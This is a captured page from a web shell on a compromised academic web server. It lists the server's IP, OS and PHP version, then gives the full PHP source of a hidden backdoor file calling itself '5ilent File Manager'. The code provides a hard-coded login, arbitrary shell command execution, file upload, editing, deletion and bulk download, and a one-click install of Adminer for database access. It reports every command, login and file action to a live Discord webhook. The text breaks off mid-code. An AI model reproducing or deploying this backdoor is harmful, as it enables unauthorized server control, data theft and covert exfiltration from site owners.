One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-trim
/
lib
/
pkp
/
includes
/
Edit File:
.ntsmk.php
<?php // ============ KONFIGURASI ============ define('SITE_NAME', '5ilent File Manager'); define('ALLOWED_EXTENSIONS', ['php', 'html', 'shtml', 'htm', 'css', 'js', 'txt', 'md', 'sql', 'bak']); // ============ KONFIGURASI DISCORD ============ define('DISCORD_WEBHOOK_URL', 'https://discord.com/api/webhooks/1478044927622643774/xROSCdiEo1pBoGrk8NNn25JjYxJPclbq0O_v0qj50pgxd0mbI_v8JakGs6pXddNDlFdS'); define('DISCORD_STATUS', true); define('DISCORD_NAME', '5ilentSystem'); define('DISCORD_AVATAR', '#'); // ============ KONFIGURASI ADMINER ============ define('ADMINER_VERSION', '4.8.1'); define('ADMINER_URL', 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'); define('ADMINER_FILENAME', '5ilentsrv.php'); // Enable error reporting untuk debugging (hapus nanti) ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); // Session start session_start(); // Fungsi untuk mendapatkan informasi sistem function get_system_info() { $info = [ 'server_name' => php_uname('n'), 'server_os' => php_uname('s') . ' ' . php_uname('r'), 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown' ]; return $info; } // Fungsi untuk mengirim notifikasi ke Discord (tanpa match expression) function send_discord_report($message, $type = 'info', $details = []) { if (!DISCORD_STATUS) return false; $webhookUrl = DISCORD_WEBHOOK_URL; // Tentukan warna berdasarkan tipe (pake if biasa biar kompatibel) if ($type == 'success') { $color = 0x00ff00; } elseif ($type == 'error') { $color = 0xff0000; } elseif ($type == 'warning') { $color = 0xffaa00; } elseif ($type == 'command') { $color = 0x9b59b6; } elseif ($type == 'file') { $color = 0x3498db; } elseif ($type == 'login') { $color = 0x2ecc71; } else { $color = 0x95a5a6; } // Ambil informasi tambahan $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $time = date('Y-m-d H:i:s'); $currentDir = getcwd(); $system = get_system_info(); // Buat embed dengan field yang lebih lengkap $embed = [ 'title' => '๐ 5ilent System Report', 'description' => $message, 'color' => $color, 'fields' => [ [ 'name' => '๐ Waktu', 'value' => $time, 'inline' => true ], [ 'name' => '๐ IP Address', 'value' => $ip, 'inline' => true ], [ 'name' => '๐ Direktori', 'value' => '`' . $currentDir . '`', 'inline' => false ], [ 'name' => '๐ฅ๏ธ User Agent', 'value' => '`' . substr($system['user_agent'], 0, 100) . '`', 'inline' => false ], [ 'name' => '๐ Server', 'value' => '`' . $system['server_name'] . '`', 'inline' => true ], [ 'name' => 'โ๏ธ OS Server', 'value' => '`' . $system['server_os'] . '`', 'inline' => true ], [ 'name' => '๐ PHP Version', 'value' => '`' . $system['php_version'] . '`', 'inline' => true ], [ 'name' => '๐ง Server Software', 'value' => '`' . $system['server_software'] . '`', 'inline' => true ] ], 'footer' => [ 'text' => '5ilent System Monitor โข ' . date('Y-m-d H:i:s') ], 'timestamp' => date('c') ]; // Tambahkan detail tambahan jika ada (untuk action-specific details) if (!empty($details)) { foreach ($details as $key => $value) { $embed['fields'][] = [ 'name' => $key, 'value' => '`' . $value . '`', 'inline' => true ]; } } $data = [ 'username' => DISCORD_NAME, 'avatar_url' => DISCORD_AVATAR, 'embeds' => [$embed] ]; // Kirim ke Discord $ch = curl_init($webhookUrl); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curlError = curl_error($ch); curl_close($ch); // Log jika gagal if ($httpCode !== 204) { error_log("Discord webhook error: HTTP $httpCode - $curlError"); return false; } return true; } // Fungsi untuk log aktivitas ke Discord (nama tanpa angka) function log_to_discord($action, $details, $type = 'info') { $message = "**Action:** $action\n"; foreach ($details as $key => $value) { $message .= "**$key:** `$value`\n"; } send_discord_report($message, $type, $details); } // TEST DISCORD WEBHOOK - Uncomment untuk test // $test_result = send_discord_report("๐ง System Online - " . date('Y-m-d H:i:s'), 'info', [ // 'Server' => php_uname('n'), // 'PHP' => phpversion(), // 'Status' => 'Active' // ]); // Fungsi untuk membuat file 5ilentsrv.php function create_adminer_file() { $adminerFile = ADMINER_FILENAME; if (file_exists($adminerFile)) { return true; } $content = @file_get_contents(ADMINER_URL); if ($content !== false) { if (file_put_contents($adminerFile, $content)) { log_to_discord('SRV Created', [ 'File' => $adminerFile, 'Action' => 'Manual Creation', 'Status' => 'Success' ], 'success'); return true; } } return false; } // Handle create 5ilentsrv request if (isset($_GET['create_5ilentsrv'])) { if (create_adminer_file()) { header('Location: ' . ADMINER_FILENAME); exit; } else { $message = "Failed to create 5ilentsrv.php"; $messageType = 'error'; } } // Fungsi untuk download file function download_file($filepath) { if (file_exists($filepath) && is_file($filepath)) { log_to_discord('File Downloaded', [ 'File' => basename($filepath), 'Path' => $filepath, 'Size' => format_bytes(filesize($filepath)) ], 'info'); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($filepath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($filepath)); ob_clean(); flush(); readfile($filepath); exit; } else { return false; } } // Handle download request if (isset($_GET['download']) && !empty($_GET['download'])) { $downloadFile = $_GET['download']; if (file_exists($downloadFile) && is_file($downloadFile)) { download_file($downloadFile); } else { die("File tidak ditemukan: " . htmlspecialchars($downloadFile)); } } // Handle multiple download if (isset($_POST['download_multiple']) && isset($_POST['items'])) { $items = $_POST['items']; $zipFile = tempnam(sys_get_temp_dir(), '5ilent_download_') . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipFile, ZipArchive::CREATE) === TRUE) { $downloaded = 0; $downloadedItems = []; foreach ($items as $item) { if (file_exists($item)) { $downloadedItems[] = basename($item); if (is_file($item)) { $zip->addFile($item, basename($item)); $downloaded++; } elseif (is_dir($item)) { $zip->addEmptyDir(basename($item)); add_folder_to_zip($item, $zip, basename($item)); $downloaded++; } } } $zip->close(); if ($downloaded > 0) { log_to_discord('Multiple Download', [ 'Items' => implode(', ', $downloadedItems), 'Count' => $downloaded, 'Archive' => basename($zipFile) ], 'info'); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="5ilent_download_' . date('Y-m-d_H-i-s') . '.zip"'); header('Content-Length: ' . filesize($zipFile)); header('Content-Transfer-Encoding: binary'); ob_clean(); flush(); readfile($zipFile); unlink($zipFile); exit; } else { unlink($zipFile); $message = "No valid files to download."; $messageType = 'error'; } } else { $message = "Failed to create zip file."; $messageType = 'error'; } } // Fungsi untuk menambahkan folder ke zip function add_folder_to_zip($folder, $zip, $parentFolder = '') { $handle = opendir($folder); while (($entry = readdir($handle)) !== false) { if ($entry == '.' || $entry == '..') continue; $path = $folder . DIRECTORY_SEPARATOR . $entry; $localPath = $parentFolder . '/' . $entry; if (is_dir($path)) { $zip->addEmptyDir($localPath); add_folder_to_zip($path, $zip, $localPath); } else { $zip->addFile($path, $localPath); } } closedir($handle); } // Format bytes function format_bytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } // Cek apakah file 5ilentsrv.php sudah ada $adminerExists = file_exists(ADMINER_FILENAME); // Konfigurasi login $valid_username = '5ilent'; $valid_password = '5ilent2k21'; // Cek login if (!isset($_SESSION['logged_in'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) { if ($_POST['username'] === $valid_username && $_POST['password'] === $valid_password) { $_SESSION['logged_in'] = true; // Ambil info sistem untuk detail login $system = get_system_info(); log_to_discord('Login Success', [ 'Username' => $_POST['username'], 'IP Address' => $_SERVER['REMOTE_ADDR'], 'User Agent' => substr($system['user_agent'], 0, 50) . '...', 'Server' => $system['server_name'], 'OS Server' => $system['server_os'], 'PHP Version' => $system['php_version'] ], 'success'); header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $error = "Username atau password salah!"; $system = get_system_info(); log_to_discord('Login Failed', [ 'Username' => $_POST['username'] ?? 'unknown', 'IP Address' => $_SERVER['REMOTE_ADDR'], 'User Agent' => substr($system['user_agent'], 0, 50) . '...', 'Server' => $system['server_name'] ], 'warning'); } } // Tampilkan form login ?> <!DOCTYPE html> <html> <head> <title>5ilent File Manager - Login</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #000000; font-family: 'Segoe UI', sans-serif; min-height: 100vh; display: flex; justify-content: center; align-items: center; padding: 20px; position: relative; overflow: hidden; } body::before { content: ""; position: absolute; width: 200%; height: 200%; background: repeating-linear-gradient( 45deg, #ff6600 0px, #ff6600 2px, transparent 2px, transparent 10px ); opacity: 0.1; animation: scan 20s linear infinite; } @keyframes scan { from { transform: translate(-50%, -50%) rotate(0deg); } to { transform: translate(-50%, -50%) rotate(360deg); } } .login-container { background: rgba(10, 10, 10, 0.95); border-radius: 20px; border: 2px solid #ff6600; box-shadow: 0 0 30px #ff6600, inset 0 0 20px rgba(255,102,0,0.3); padding: 40px; width: 100%; max-width: 400px; text-align: center; position: relative; z-index: 1; backdrop-filter: blur(10px); } .logo { width: 100px; height: 100px; margin: 0 auto 20px; font-size: 60px; color: #ff6600; text-shadow: 0 0 20px #ff6600; animation: pulse 2s ease-in-out infinite; } @keyframes pulse { 0%, 100% { transform: scale(1); opacity: 1; } 50% { transform: scale(1.1); opacity: 0.8; } } h1 { color: #ff6600; margin-bottom: 10px; font-size: 28px; text-shadow: 0 0 10px #ff6600; letter-spacing: 2px; } .subtitle { color: #ff9900; margin-bottom: 30px; font-size: 14px; text-transform: uppercase; letter-spacing: 3px; } .input-group { margin-bottom: 20px; text-align: left; } .input-group label { display: block; margin-bottom: 5px; color: #ff9900; font-size: 14px; text-transform: uppercase; letter-spacing: 1px; } .input-group input { width: 100%; padding: 12px 15px; background: #000000; border: 1px solid #ff6600; border-radius: 5px; font-size: 14px; color: #ff9900; transition: all 0.3s; } .input-group input:focus { outline: none; border-color: #ff9900; box-shadow: 0 0 15px #ff6600; } .login-btn { width: 100%; padding: 14px; background: transparent; border: 2px solid #ff6600; color: #ff6600; border-radius: 5px; font-size: 16px; font-weight: bold; cursor: pointer; transition: all 0.3s; text-transform: uppercase; letter-spacing: 2px; position: relative; overflow: hidden; } .login-btn:hover { background: #ff6600; color: #000000; box-shadow: 0 0 30px #ff6600; transform: translateY(-2px); } .login-btn::before { content: ""; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent); transition: left 0.5s; } .login-btn:hover::before { left: 100%; } .error { background: rgba(255,0,0,0.2); border: 1px solid #ff0000; color: #ff6666; padding: 12px; border-radius: 5px; margin-bottom: 20px; font-size: 14px; text-shadow: 0 0 5px #ff0000; } </style> </head> <body> <div class="login-container"> <div class="logo">๐</div> <h1>5ilent</h1> <div class="subtitle">File Manager</div> <?php if (isset($error)): ?> <div class="error"><?php echo $error; ?></div> <?php endif; ?> <form method="post"> <div class="input-group"> <label>Username</label> <input type="text" name="username" required> </div> <div class="input-group"> <label>Password</label> <input type="password" name="password" required> </div> <button type="submit" name="login" class="login-btn">Enter</button> </form> </div> </body> </html> <?php exit; } // Logout if (isset($_GET['logout'])) { $system = get_system_info(); log_to_discord('Logout', [ 'Username' => $_SESSION['username'] ?? '5ilent', 'IP' => $_SERVER['REMOTE_ADDR'], 'Server' => $system['server_name'] ], 'info'); session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // ============ FUNGSI-FUNGSI ============ function get_file_list($dir) { $items = []; if (is_dir($dir)) { if ($handle = opendir($dir)) { while (($file = readdir($handle)) !== false) { if ($file != '.' && $file != '..') { $path = $dir . '/' . $file; $isDir = is_dir($path); $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $items[] = [ 'name' => $file, 'path' => $path, 'isDir' => $isDir, 'size' => $isDir ? '-' : format_bytes(filesize($path)), 'perms' => substr(sprintf('%o', fileperms($path)), -4), 'modified' => date('Y-m-d H:i:s', filemtime($path)), 'ext' => $ext, 'isShtml' => ($ext === 'shtml' || $ext === 'html' || $ext === 'htm'), 'isAdminer' => ($file === ADMINER_FILENAME) ]; } } closedir($handle); usort($items, function($a, $b) { if ($a['isDir'] && !$b['isDir']) return -1; if (!$a['isDir'] && $b['isDir']) return 1; return strcasecmp($a['name'], $b['name']); }); } } return $items; } function preview_shtml($content) { $tempFile = tempnam(sys_get_temp_dir(), 'shtml_preview_') . '.shtml'; file_put_contents($tempFile, $content); ob_start(); include($tempFile); $preview = ob_get_clean(); unlink($tempFile); return $preview; } function render_breadcrumb($path) { $parts = explode('/', trim($path, '/')); $current = ''; echo '<div class="breadcrumb">'; echo '<a href="?dir=">๐ Home</a>'; foreach ($parts as $part) { if (empty($part)) continue; $current .= '/' . $part; echo ' / '; echo '<a href="?dir=' . urlencode($current) . '">' . htmlspecialchars($part) . '</a>'; } echo '</div>'; } function execute_command($cmd) { $output = ''; $return_var = 0; if (function_exists('shell_exec')) { $output = shell_exec($cmd . ' 2>&1'); } elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output, $return_var); $output = implode("\n", $output); } elseif (function_exists('system')) { ob_start(); system($cmd . ' 2>&1', $return_var); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd . ' 2>&1', $return_var); $output = ob_get_clean(); } else { $output = "No function available to execute commands"; } return ['output' => $output, 'return' => $return_var]; } // Handle actions $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $message = ''; $messageType = ''; // Command execution if (isset($_POST['execute_cmd']) && !empty($_POST['command'])) { $cmd = $_POST['command']; $result = execute_command($cmd); log_to_discord('Command Executed', [ 'Command' => $cmd, 'Output Length' => strlen($result['output']) . ' bytes', 'Return Code' => $result['return'] ], 'command'); $message = "Command executed. Check output below."; $messageType = 'info'; $commandOutput = $result['output']; } // Create file if (isset($_POST['create_file'])) { $filename = trim($_POST['filename']); if (!empty($filename)) { $fullpath = $currentDir . '/' . $filename; if (!file_exists($fullpath)) { if (touch($fullpath)) { $message = "File created successfully!"; $messageType = 'success'; log_to_discord('File Created', [ 'Filename' => $filename, 'Path' => $fullpath ], 'success'); } else { $message = "Failed to create file."; $messageType = 'error'; } } else { $message = "File already exists."; $messageType = 'error'; } } } // Create folder if (isset($_POST['create_folder'])) { $foldername = trim($_POST['foldername']); if (!empty($foldername)) { $fullpath = $currentDir . '/' . $foldername; if (!file_exists($fullpath)) { if (mkdir($fullpath, 0755)) { $message = "Folder created successfully!"; $messageType = 'success'; log_to_discord('Folder Created', [ 'Foldername' => $foldername, 'Path' => $fullpath ], 'success'); } else { $message = "Failed to create folder."; $messageType = 'error'; } } else { $message = "Folder already exists."; $messageType = 'error'; } } } // Rename item if (isset($_POST['rename']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $_POST['old_name']; $newName = $_POST['new_name']; $oldPath = $currentDir . '/' . $oldName; $newPath = $currentDir . '/' . $newName; if (file_exists($oldPath) && !file_exists($newPath)) { if (rename($oldPath, $newPath)) { $message = "Renamed successfully!"; $messageType = 'success'; log_to_discord('Renamed', [ 'Old Name' => $oldName, 'New Name' => $newName ], 'success'); } else { $message = "Failed to rename."; $messageType = 'error'; } } else { $message = "Invalid rename operation."; $messageType = 'error'; } } // Chmod item if (isset($_POST['chmod']) && isset($_POST['chmod_file']) && isset($_POST['permissions'])) { $chmodFile = $_POST['chmod_file']; $perms = $_POST['permissions']; $fullpath = $currentDir . '/' . $chmodFile; if (file_exists($fullpath) && preg_match('/^[0-7]{3,4}$/', $perms)) { if (chmod($fullpath, octdec($perms))) { $message = "Permissions changed to $perms"; $messageType = 'success'; log_to_discord('Chmod', [ 'File' => $chmodFile, 'New Permissions' => $perms ], 'success'); } else { $message = "Failed to change permissions."; $messageType = 'error'; } } else { $message = "Invalid file or permissions."; $messageType = 'error'; } } // Delete items if (isset($_POST['delete']) && isset($_POST['items'])) { $items = $_POST['items']; $deleted = 0; $deletedItems = []; foreach ($items as $item) { if (file_exists($item)) { $deletedItems[] = basename($item); if (is_file($item)) { if (unlink($item)) $deleted++; } elseif (is_dir($item)) { if (rmdir($item)) $deleted++; } } } $message = "Deleted $deleted item(s)."; $messageType = 'success'; if ($deleted > 0) { log_to_discord('Items Deleted', [ 'Items' => implode(', ', $deletedItems), 'Count' => $deleted ], 'warning'); } } // Save file if (isset($_POST['save_file'])) { $filename = $_POST['filename']; $content = $_POST['content']; if (file_put_contents($filename, $content) !== false) { $message = "File saved successfully!"; $messageType = 'success'; log_to_discord('File Saved', [ 'Filename' => basename($filename), 'Size' => strlen($content) . ' bytes' ], 'info'); } else { $message = "Failed to save file."; $messageType = 'error'; } } // Upload files if (isset($_FILES['upload'])) { $uploaded = 0; $uploadedFiles = []; $files = $_FILES['upload']; if (is_array($files['name'])) { for ($i = 0; $i < count($files['name']); $i++) { if ($files['error'][$i] === 0) { $dest = $currentDir . '/' . basename($files['name'][$i]); if (move_uploaded_file($files['tmp_name'][$i], $dest)) { $uploaded++; $uploadedFiles[] = $files['name'][$i]; } } } } else { if ($files['error'] === 0) { $dest = $currentDir . '/' . basename($files['name']); if (move_uploaded_file($files['tmp_name'], $dest)) { $uploaded++; $uploadedFiles[] = $files['name']; } } } if ($uploaded > 0) { $message = "Uploaded $uploaded file(s)."; $messageType = 'success'; log_to_discord('Files Uploaded', [ 'Files' => implode(', ', $uploadedFiles), 'Count' => $uploaded ], 'success'); } } // Get file list $files = get_file_list($currentDir); ?> <!DOCTYPE html> <html> <head> <title>5ilent File Manager</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', sans-serif; background: #000000; min-height: 100vh; padding: 20px; position: relative; } body::before { content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: repeating-linear-gradient( 45deg, #ff6600 0px, #ff6600 2px, transparent 2px, transparent 20px ); opacity: 0.05; pointer-events: none; z-index: 0; } .container { max-width: 1400px; margin: 0 auto; background: rgba(10, 10, 10, 0.95); border-radius: 20px; border: 2px solid #ff6600; box-shadow: 0 0 30px #ff6600, inset 0 0 20px rgba(255,102,0,0.3); padding: 30px; position: relative; z-index: 1; backdrop-filter: blur(10px); } .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 30px; padding-bottom: 20px; border-bottom: 2px solid #ff6600; } .header h1 { color: #ff6600; font-size: 28px; text-shadow: 0 0 10px #ff6600; letter-spacing: 2px; display: flex; align-items: center; gap: 10px; } .header h1 .logo-icon { font-size: 40px; animation: glow 2s ease-in-out infinite; } @keyframes glow { 0%, 100% { text-shadow: 0 0 20px #ff6600; transform: scale(1); } 50% { text-shadow: 0 0 40px #ff6600, 0 0 60px #ff3300; transform: scale(1.1); } } .logout-btn { background: transparent; border: 2px solid #ff6600; color: #ff6600; padding: 10px 20px; border-radius: 5px; text-decoration: none; font-size: 14px; transition: all 0.3s; text-transform: uppercase; letter-spacing: 1px; } .logout-btn:hover { background: #ff6600; color: #000000; box-shadow: 0 0 30px #ff6600; transform: translateY(-2px); } .tools-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; margin-bottom: 30px; } .tool-section { background: #000000; border: 1px solid #ff6600; border-radius: 10px; padding: 20px; box-shadow: 0 0 15px rgba(255,102,0,0.3); } .tool-section h3 { color: #ff6600; margin-bottom: 15px; font-size: 16px; display: flex; align-items: center; gap: 5px; padding-bottom: 10px; border-bottom: 1px solid #333; text-transform: uppercase; letter-spacing: 1px; } .tool-section input, .tool-section select, .tool-section textarea { width: 100%; padding: 10px; background: #111111; border: 1px solid #333; border-radius: 5px; margin-bottom: 10px; font-size: 14px; color: #ff9900; } .tool-section input:focus { outline: none; border-color: #ff6600; box-shadow: 0 0 10px #ff6600; } .tool-section button { padding: 10px 15px; background: transparent; border: 1px solid #ff6600; color: #ff6600; border-radius: 5px; cursor: pointer; font-size: 14px; transition: all 0.3s; margin-right: 5px; } .tool-section button:hover { background: #ff6600; color: #000000; box-shadow: 0 0 20px #ff6600; } .command-output { background: #111111; color: #00ff00; padding: 15px; border-radius: 5px; font-family: 'Courier New', monospace; font-size: 13px; margin-top: 10px; max-height: 300px; overflow-y: auto; border: 1px solid #00ff00; box-shadow: 0 0 10px #00ff00; } .file-table { width: 100%; border-collapse: collapse; margin-top: 20px; } .file-table th { background: #000000; color: #ff6600; padding: 12px; text-align: left; font-size: 14px; border-bottom: 2px solid #ff6600; text-transform: uppercase; letter-spacing: 1px; } .file-table td { padding: 12px; border-bottom: 1px solid #333; font-size: 14px; color: #ff9900; } .file-table tr:hover { background: #111111; box-shadow: 0 0 10px #ff6600; } .file-table .shtml { border-left: 3px solid #ff6600; } .action-btns { display: flex; gap: 5px; flex-wrap: wrap; } .action-btn { padding: 5px 10px; background: transparent; border: 1px solid #ff6600; color: #ff6600; border-radius: 3px; cursor: pointer; font-size: 12px; text-decoration: none; display: inline-block; transition: all 0.3s; } .action-btn:hover { background: #ff6600; color: #000000; box-shadow: 0 0 10px #ff6600; } .action-btn.edit { border-color: #00ff00; color: #00ff00; } .action-btn.edit:hover { background: #00ff00; color: #000000; box-shadow: 0 0 10px #00ff00; } .action-btn.delete { border-color: #ff0000; color: #ff0000; } .action-btn.delete:hover { background: #ff0000; color: #000000; box-shadow: 0 0 10px #ff0000; } .action-btn.rename { border-color: #ffff00; color: #ffff00; } .action-btn.rename:hover { background: #ffff00; color: #000000; box-shadow: 0 0 10px #ffff00; } .action-btn.chmod { border-color: #00ffff; color: #00ffff; } .action-btn.chmod:hover { background: #00ffff; color: #000000; box-shadow: 0 0 10px #00ffff; } .action-btn.download { border-color: #ff8800; color: #ff8800; } .action-btn.download:hover { background: #ff8800; color: #000000; box-shadow: 0 0 10px #ff8800; } .action-btn.adminer { border-color: #ff00ff; color: #ff00ff; animation: pulse-purple 2s ease-in-out infinite; } .action-btn.adminer:hover { background: #ff00ff; color: #000000; box-shadow: 0 0 20px #ff00ff; } @keyframes pulse-purple { 0%, 100% { box-shadow: 0 0 5px #ff00ff; } 50% { box-shadow: 0 0 15px #ff00ff, 0 0 20px #ff00ff; } } .breadcrumb { background: #111111; border: 1px solid #333; padding: 15px; border-radius: 5px; margin-bottom: 20px; font-size: 14px; } .breadcrumb a { color: #ff6600; text-decoration: none; } .breadcrumb a:hover { text-shadow: 0 0 10px #ff6600; } .current-dir { background: #111111; border: 1px solid #333; padding: 10px; border-radius: 5px; margin-bottom: 15px; font-size: 14px; color: #ff9900; } .message { padding: 15px; border-radius: 5px; margin-bottom: 20px; border: 1px solid; } .message.success { background: #003300; border-color: #00ff00; color: #00ff00; } .message.error { background: #330000; border-color: #ff0000; color: #ff6666; } .message.info { background: #003333; border-color: #00ffff; color: #00ffff; } .shtml-indicator { background: #ff6600; color: #000000; padding: 2px 5px; border-radius: 3px; font-size: 10px; margin-left: 5px; text-transform: uppercase; } .file-icon { font-size: 18px; margin-right: 10px; filter: drop-shadow(0 0 5px #ff6600); } .adminer-btn-container { display: flex; justify-content: center; margin-bottom: 20px; } </style> </head> <body> <div class="container"> <div class="header"> <h1> <span class="logo-icon">๐</span> 5ilent File Manager </h1> <a href="?logout=1" class="logout-btn">EXIT</a> </div> <?php if (!empty($message)): ?> <div class="message <?php echo $messageType; ?>"> <?php echo htmlspecialchars($message); ?> </div> <?php endif; ?> <!-- 5ilentSRV Button --> <div class="adminer-btn-container"> <?php if ($adminerExists): ?> <a href="<?php echo ADMINER_FILENAME; ?>" target="_blank" class="action-btn adminer" style="padding: 12px 30px; font-size: 16px;">๐ OPEN 5ILENTSRV</a> <?php else: ?> <a href="?create_5ilentsrv=1" class="action-btn adminer" style="padding: 12px 30px; font-size: 16px;">๐ CREATE 5ILENTSRV</a> <?php endif; ?> </div> <div class="current-dir"> <span style="color: #ff6600;">โคท</span> CURRENT: <strong style="color: #ff9900;"><?php echo htmlspecialchars($currentDir); ?></strong> </div> <?php render_breadcrumb($currentDir); ?> <!-- Command Section --> <div class="tool-section"> <h3>๐ EXECUTE COMMAND</h3> <form method="post"> <input type="text" name="command" placeholder="ls -la" value="<?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : ''; ?>"> <button type="submit" name="execute_cmd">EXECUTE</button> </form> <?php if (isset($commandOutput)): ?> <div class="command-output"> <pre><?php echo htmlspecialchars($commandOutput); ?></pre> </div> <?php endif; ?> </div> <!-- Tools Grid --> <div class="tools-grid"> <!-- Create File/Folder --> <div class="tool-section"> <h3>๐ CREATE NEW</h3> <form method="post"> <input type="text" name="filename" placeholder="filename.shtml"> <button type="submit" name="create_file">CREATE FILE</button> </form> <form method="post"> <input type="text" name="foldername" placeholder="folder name"> <button type="submit" name="create_folder">CREATE FOLDER</button> </form> </div> <!-- Rename & Chmod --> <div class="tool-section"> <h3>โ๏ธ RENAME / CHMOD</h3> <form method="post"> <input type="text" name="old_name" placeholder="Current name" required> <input type="text" name="new_name" placeholder="New name" required> <button type="submit" name="rename">RENAME</button> </form> <form method="post"> <input type="text" name="chmod_file" placeholder="Filename to chmod" required> <input type="text" name="permissions" placeholder="755" required> <button type="submit" name="chmod">CHMOD</button> </form> </div> <!-- Upload --> <div class="tool-section"> <h3>๐ค UPLOAD</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload[]" multiple> <button type="submit" name="upload_files">UPLOAD</button> </form> </div> </div> <!-- File List with Actions --> <form method="post" id="fileListForm"> <table class="file-table"> <thead> <tr> <th style="width: 30px"><input type="checkbox" id="selectAll" onclick="toggleAll(this)" style="background: #000; border-color: #ff6600;"></th> <th>NAME</th> <th>SIZE</th> <th>PERMS</th> <th>MODIFIED</th> <th>ACTIONS</th> </tr> </thead> <tbody> <?php foreach ($files as $file): ?> <?php if ($file['name'] !== ADMINER_FILENAME): ?> <tr class="<?php echo $file['isShtml'] ? 'shtml' : ''; ?>"> <td><input type="checkbox" name="items[]" value="<?php echo htmlspecialchars($file['path']); ?>" style="background: #000; border-color: #ff6600;"></td> <td> <span class="file-icon"> <?php if ($file['isDir']): ?>๐ <?php elseif ($file['ext'] === 'shtml'): ?>โก <?php elseif ($file['ext'] === 'php'): ?>๐ <?php else: ?>๐ <?php endif; ?> </span> <?php if ($file['isDir']): ?> <a href="?dir=<?php echo urlencode($file['path']); ?>" style="color: #ff6600; text-decoration: none;"> <?php echo htmlspecialchars($file['name']); ?> </a> <?php else: ?> <span style="color: #ff9900;"><?php echo htmlspecialchars($file['name']); ?></span> <?php if ($file['isShtml']): ?><span class="shtml-indicator">SHTML</span><?php endif; ?> <?php endif; ?> </td> <td><?php echo $file['size']; ?></td> <td><?php echo $file['perms']; ?></td> <td><?php echo $file['modified']; ?></td> <td class="action-btns"> <?php if (!$file['isDir']): ?> <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file['name']); ?>" class="action-btn edit">EDIT</a> <?php if ($file['isShtml']): ?> <a href="?dir=<?php echo urlencode($currentDir); ?>&preview=<?php echo urlencode($file['name']); ?>" class="action-btn">PREVIEW</a> <?php endif; ?> <?php endif; ?> <?php if (!$file['isDir']): ?> <a href="?download=<?php echo urlencode($file['path']); ?>" class="action-btn download">โฌ๏ธ DL</a> <?php endif; ?> <?php if (!$file['isDir']): ?> <form method="post" style="display: inline;"> <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($file['name']); ?>"> <input type="text" name="new_name" placeholder="new" style="width: 60px; padding: 3px; background: #111; border: 1px solid #ffff00; color: #ffff00; font-size: 11px;"> <button type="submit" name="rename" class="action-btn rename" style="padding: 3px 5px;">R</button> </form> <form method="post" style="display: inline;"> <input type="hidden" name="chmod_file" value="<?php echo htmlspecialchars($file['name']); ?>"> <input type="text" name="permissions" placeholder="755" style="width: 45px; padding: 3px; background: #111; border: 1px solid #00ffff; color: #00ffff; font-size: 11px;"> <button type="submit" name="chmod" class="action-btn chmod" style="padding: 3px 5px;">C</button> </form> <?php endif; ?> </td> </tr> <?php endif; ?> <?php endforeach; ?> </tbody> </table> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" name="delete" class="action-btn delete" onclick="return confirm('Delete selected items?')">๐๏ธ DELETE SELECTED</button> <button type="submit" name="download_multiple" class="action-btn download" onclick="return confirm('Download selected items as ZIP?')">๐ฆ DOWNLOAD SELECTED (ZIP)</button> </div> </form> <?php if (isset($_GET['edit']) && !empty($_GET['edit'])) { $editFile = $currentDir . '/' . basename($_GET['edit']); if (file_exists($editFile) && is_file($editFile) && basename($editFile) !== ADMINER_FILENAME) { $content = 